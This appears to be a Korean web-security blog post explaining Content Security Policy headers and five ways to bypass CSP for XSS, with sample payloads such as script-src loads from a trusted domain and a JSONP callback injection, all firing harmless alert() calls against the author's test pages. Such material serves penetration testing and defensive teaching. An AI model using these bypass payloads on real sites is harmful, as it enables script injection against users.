진작에 정리한다고 했는데, 바쁘다보니 거의 2주되어서야 글이 마무리되네요..
웹 보안 테스팅 중 가끔 이런 케이스 만나보시적이 있나요? XSS가 되었지만, 실제로 실행이 안되는 경우

Content Security Policy: 페이지 설정으로 인해 자원 읽기 차단: inline ("default-src")....

항상 우리의 발목을 잡는 보안정책 중 오늘은 CSP에 대한 이야기를 하려고 합니다.



What is CSP?

Content Security Policy로 웹 브라우저에서 사용하는 컨텐츠 기반의 보안 정책입니다. 쉽게 이야기하자면, 웹에서 사용하는 컨텐츠(이미지,스크립트 등등)에 대한 규칙 같으거라고 보시면됩니다.
SOP(Same Origin Policy)와 유사하게 차단한다는 점에서 비슷하지만, CSP의 경우 웹 사이트가 직접 룰을 적용해서 사용하게 됩니다. 결국은 사이트 별 설정에 따라 의미없는 보안정책일수도 있다는 의미입니다.

우선 CSP로 사용되는 대표적으로 쓰이는 헤더들은 아래와 같습니다.

* Content-Security-Policy : W3C에서 지정한 표준헤더, 대체로 이걸 사용함
* X-Content-Security-Policy : Firefox/IE 구형 브라우저에서 사용되는 헤더
* X-WebKit-CSP : Chrome 기반의 구형 브라우저에서 사용되는 헤더

이중에서 현재까지 쭉 사용되는 헤더는 Content-Security-Policy 헤더이고, 나머지는 약간 구 시대의 유물같은 존재입니다. 모질라 개발자 사이트에 예시들을 보면 이렇습니다.

하위 도메인의 리소스만만 사용할 수 있게
Content-Security-Policy: default-src 'self'

특정 도메인만 신뢰
Content-Security-Policy: default-src 'self' *.mydomain.com

특정 태그 계열만 허용
Content-Security-Policy: default-src 'self' *.mailsite.com; img-src *

특정 도메인만 무조건 SSL 통신하도록
Content-Security-Policy: default-src https://onlinebanking.jumbobank.com

Content-Seuciryt-Policy 헤더 내용으로 해당 웹 사이트에서 사용 가능한 CSP 정책에 대해 브라우저에게 전달해주고, 브라우저는 이를 기반으로 웹 페이지 렌더링/처리를 수행하게 됩니다.

헤더에서 사용되는 속성과 값에 대해 좀 더 정리해보면 이렇습니다.

* default-src : 모든 리소스에 대한 정책(아래 것들 다 포함)
* script-src : Javascript 등 웹에서 실행 가능한 스크립트에 대한 정책
* object-src : 플러그인, 오브젝트에 대한 정책
* style-src : style, 즉 css에 대한 정책
* img-src : 이미지
* media-src : video, audio
* frame-src : iframe, X-Frame 헤더랑은 비슷한 역할을 하지만, 약간 다르죠.
* font-src : font
* connect-src : script src로 불러올 수 있는 url에 대한 정책
* form-action : form 태그 내 action 부분에 대한 정책
* sandbox : HTML 샌드박스
* script-nonce : 위에 script-src + 아래쪽에 none 이 포함되는 정책, 약간 강한..
* plugin-types : 로드할 수 있는 플러그인 타입, 위에 object-src와 접점
* reflected-xss : X-XSS-Protection header와 동일한 효과, 실제로 이게 적용된 사이트는 아직 본적이 없네요..ㅋㅋ
* report-uri : 정책 위반 케이스가 나타났을 때 내용을 전달할 URL

속성에 매핑도는 값은 4가지 정도 있습니다.

* 'none'은 예상할 수 있듯이 아무것과도 일치하지 않습니다.
* 'self' 는 현재 출처와 일치하지만 하위 도메인은 일치하지 않습니다.
* 'unsafe-inline'은 인라인 자바스크립트 및 CSS를 허용합니다.
* 'unsafe-eval'은 eval 같은 텍스트-자바스크립트 메커니즘을 허용합니다.

그래서 만약 CSP가 이렇게 설정되어 있다고 한다면,

Content-Security-Policy: default-src ‘self’ abcd.hahwul.com

전체 리소스(default-src)에 대해 abcd.hahwul.com에 대한 도메인만 신뢰(self로 인해 정확하게 체크)하게 됩니다.

실제로 테스트해보면..

GET /csp.php?q=alert(45) HTTP/1.1

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 22 Jan 2019 22:26:16 GMT
Content-Type: text/html
Connection: keep-alive
Vary: Accept-Encoding
P3P: CP='NOI CURa ADMa DEVa TAIa OUR DELa BUS IND PHY ONL UNI COM NAV INT DEM PRE'
Content-Security-Policy: default-src ‘self’ abcd.hahwul.com


<script>alert(45)</script>

script의 출처가 abcd.hahwul.com이 아니기(저 케이스는 inline) 때문에 차단당합니다.

Content Security Policy: 페이지 설정으로 인해 자원 읽기 차단: inline ("default-src").

CSP가 안들어간 사이트가 아직 굉장히 많긴 하지만, 간혹 만나게 도면 솔직히 골치아프긴 합니다. 그래서, 우회하는 케이스들 몇가지 정리해봅시다.
(전 제 블로그 참고용으로 많이 쓰기 떄문에... 컨닝 페이퍼 같은 느낌ㅋㅋ)

Bypass technique 1 - 신뢰 도메인에 source 업로드 후 로드


우성 CSP는 js,css 등 리소스들이 사용될 수 있는 구간(원격지, 로컬 등등)을 제한하는 헤더이고 결국 이 정책에 따라 우회방법이 달라지고 더 많아질겁니다.
(여기있는게 전부가 아닙니다. 상황에 따라서 엄청나게 많은 케이스가 있을거에요)

다만, 공통적으로 적용 가능한 부분이 CSP로 허용된 도메인에서 스크립트를 불러와 실행하는 경우입니다.
보통 CSP 헤더를 보면 많은 도메인들이 예외되어 있습니다. 그 중 cdn이나 파일을 올릴 수 있는 도메인들이 존재하는데, 스크립트를 담은 파일을 업로드한 후 땡겨서 사용하는 경우 우회가 가능합니다.

아까 위에서 테스트했던 요청으로 다시 보면..

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 22 Jan 2019 22:26:16 GMT
Content-Type: text/html
Connection: keep-alive
Vary: Accept-Encoding
P3P: CP='NOI CURa ADMa DEVa TAIa OUR DELa BUS IND PHY ONL UNI COM NAV INT DEM PRE'
Content-Security-Policy: default-src ‘self’ abcd.hahwul.com

abcd.hahwul.com의 스크립트만 신뢰하기 때문에 abcd.hahwul.com에 js,txt 등 그냥 raw data가 올라갈 수 있는 파일만 올린 후 땡겨서 우회할 수 있습니다.
이 때 하나 아셔야할 부분은 어차피 script src 형태로 땡겨오게 되면, 해당 파일이 .js 인지, .html 인지 상관없다는 점입니다.

그래서 예를들어 아래와 같은 파일을 abcd.hahwul.com 으로 업로드 할 수 있다면 CSP에 대해 우회가 가능해집니다.

xss.txt
alert(document.location)

XSS Query
http://vaha.hahwul.com/test/csp.php?q=</script><script src="http://abcd.hahwul.com/test/xss.txt"></script>

Response
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 22 Jan 2019 22:26:16 GMT
Content-Type: text/html
Connection: keep-alive
Vary: Accept-Encoding
P3P: CP='NOI CURa ADMa DEVa TAIa OUR DELa BUS IND PHY ONL UNI COM NAV INT DEM PRE'
Content-Security-Policy: default-src ‘self’ abcd.hahwul.com


<script></script><script src="http://abcd.hahwul.com/test/xss.txt"></script>

Bypass technique 2 - 신뢰 도메인의 json, jsonp callback을 이용

눈치 빠른분이면 1번 보고 이 방법도 바로 생각 나셨을 것 같네요. 위에서 이야기드린 대로 Content-Type은 중요하지 않기 때문에 어떤 형태로든 파일이 올라가면 된다고 했습니다. 정확히는 스크립트를 담은 response가 필요했던거죠.

JSON 형태의 요청(ajax, xmlhttprequest 등)은 요청 url과 return 값에 callback function 남겨줍니다. 이는 callback 데이터가 들어갈 function을 지정하는건데, 이때 발생하는 response 또한 text 이고 <script src="">로 읽어올 수 있습니다. 그래서 아래 같은 형태로 우회할 수 있습니다.

정상적인 경우에는 이런 요청으로 발생하겠죠.

[ Request ]
GET /jsonp?callback=callbackFunction

[ Response ]
HTTP/1.1 200 OK
Server: nginx

callbackFunction{"user":"hahwul","id":3422}

이를 이용하여 신뢰 도메인에 직접적인 파일 업로드는 불가능하지만, json jsonp response 등을 통해 스크립트 raw data를 넘겨주어서 csp로 하여금 정상적인 리소스로 착각하게 할 수 있습니다.

<script src=”http://abcd.hahwul.com/test/jsonp?callback=alert(45);//”></script>

원리를 보자면 jsonp 페이지는 callback(){"return":"data”} 같은 포맷으로 response를 넘겨주는데, callback function을 alert(45);// 로 지정해주면 결국 response 에는 이런 값이 담깁니다.

alert(45);//{"user":"hahwul","id":3422}

Script src로 읽어오는 경우 뒤에를 주석으로 보아 이런 포맷이 됩니다.

alert(45);//{"name": "hahwul", "id": 3422}

결국은 원격 도메인에서 xss 파일을 떙겨온것과 동일한 결과를 나타낼 수 있습니다.

Bypass technique 3 - 사이트 별 CSP 설정의 오점

일부 사이트들은 CSP 설정 중 unsafe-inline, unsafe-eval 등의 정책을 사용합니다. 기능적인 측면에서 어쩔 수 없이 사용하는 경우도 있겠지만, 결과적으론 CSP를 우회하는데 있어 굉장히 좋은 잘못된 정책이죠.

* 'none'은 예상할 수 있듯이 아무것과도 일치하지 않습니다.
* 'self' 는 현재 출처와 일치하지만 하위 도메인은 일치하지 않습니다.
* 'unsafe-inline'은 인라인 자바스크립트 및 CSS를 허용합니다.
* 'unsafe-eval'은 eval 같은 텍스트-자바스크립트 메커니즘을 허용합니다.

말그대로 인라인 자바스크립트,CSS 를 허용(또는 eval)하기 때문에 DOM에서 동작하는 부분들은 모두 걸리지 않게 됩니다. 이 헤더가 있는 경우엔 솔직히 CSP가 없다고 보는게 맞긴한데, 좀 더 공격자 관점에서 보면 외부 리소스 사용에 제한이 있다는 점이 리스크일듯합니다.
Stored의 경우엔 결국 서버단에 공격코드 전문이 남아야하고, Reflrected는 웹 서버가 GET(POST는 제한없으니..)으로 처리할 수 있는 최대 크기 이내로 코드가 들어가야한다는 점, Stored와 동일하게 전문을 남겨야 된다는 점이 부담으로 받아드릴 것 같네요.
(실제 광고 XSS 코드를 봐도, 결국 소유주의 키가 남아야해서.. 공격자는 그런점들을 최대한 가리고 싶어하겠죠. 그래서 열심히 Reflection 태우는거고..)

이 상황에서 외부 리소스를 쓰려면, 나머지 CSP 정책에 부합하지 않는 부분으로 코드를 떙겨오는 식으로 해야합니다.

아무쪼록, Unsafe-inline, unsafe-eval 이 있는 경우 인라인 자바스크립트를 허용하기 때문에 도메인과 별개로 로컬 스크립트로 우회가 가능합니다.

Bypass technique 4 - Server Error를 이용해 CSP 우회

이런 케이스가 드물긴할텐데, 간혹 스크립트 삽입 구간이 GNB 영역 같이 여러 페이지에 사용되는 서비스들이 있을 수 있습니다. 간혹 에러 페이지에도 GBN가 같이 딸려오는 경우도 있는데,
혹여나 이렇게 GNB 같이 에러 페이지에도 노출되는 영역에서 XSS가 되는 경우 이 방법으로 우회할 수도 있습니다.

보통은 서버에서 처리 시 200,300대는 CSP가 붙지만, 400, 500대 같은 에러 계열에선 CSP 적용을 안합니다. 이건 대다수 사이트가 그럴거에요.
공격자는 강제로 400, 500대 에러를 유도해서 CSP가 없는 상태에서 스크립트를 동작시킬 수 있습니다.

다만, 진짜로 아주 드문 경우에요.

Bypass technique 5 - static file을 이용한 우회

이건 저도 글 정리하려고 찾다보니 알게된 방법인데, 파비콘, 로봇txt 등 웹에서 기초적으로(?) 사용되는 일부 파일들은 CSP 영향을 안받는다고 하네요.
이런 파일들에 script를 올리거나 reflected 시킬 수 있으면 CSP 헤더가 있더라고 상관없이 스크립트를 동작시킬 수 있습니다

favicon.ico, robots.txt, sitemap.xml 등등..

CSP Testsite Online

구글에서 CSP Evaluator라는 CSP 진단(?) 웹 페이지를 제공하고 있는데, 이쪽에 테스트해보면 어떤 CSP 항목이 부족한지 노티해줍니다. 참고치정도로 사용하면 괜찮습니다.



unsafe, safe 한 경우의 샘플도 제공해주네요.

Unsafe policy
script-src 'unsafe-inline' 'unsafe-eval' 'self' data: https://www.google.com http://www.google-analytics.com/gtm/js  https://*.gstatic.com/feedback/ https://ajax.googleapis.com;
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://www.google.com;
default-src 'self' * 127.0.0.1 https://[2a00:79e0:1b:2:b466:5fd9:dc72:f00e]/foobar;
img-src https: data:;
child-src data:;
foobar-src 'foobar';
report-uri http://csp.example.com;

Safe policy
script-src 'strict-dynamic' 'nonce-rAnd0m123' 'unsafe-inline' http: https:;
object-src 'none';
base-uri 'none';
report-uri https://csp.example.com;

Conclusion

음.. XSS 우회방법, 아니 대다수 웹 해킹 기법들이 그렇지만 정답은 없습니다. 상황과 때에따라 여러가지 방법으로 우회할 수가 있고 여러 케이스에 대해 조금 더 숙지해두면 언젠다는 도움될날이 올거라 봅니다.

참고한문서, 보며 좋을 것 같은 문서들 아래 추가해놓으니 한번씩 싹 보시면 도움되실거라 믿어요 :)

Reference

https://csp-evaluator.withgoogle.com
https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf
https://developer.mozilla.org/ko/docs/Web/HTTP/CSP
https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa
https://medium.com/@tbmnull/making-an-xss-triggered-by-csp-bypass-on-twitter-561f107be3e5
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy
https://blog.bentkowski.info/2018/06/xss-in-google-colaboratory-csp-bypass.html

댓글 2개: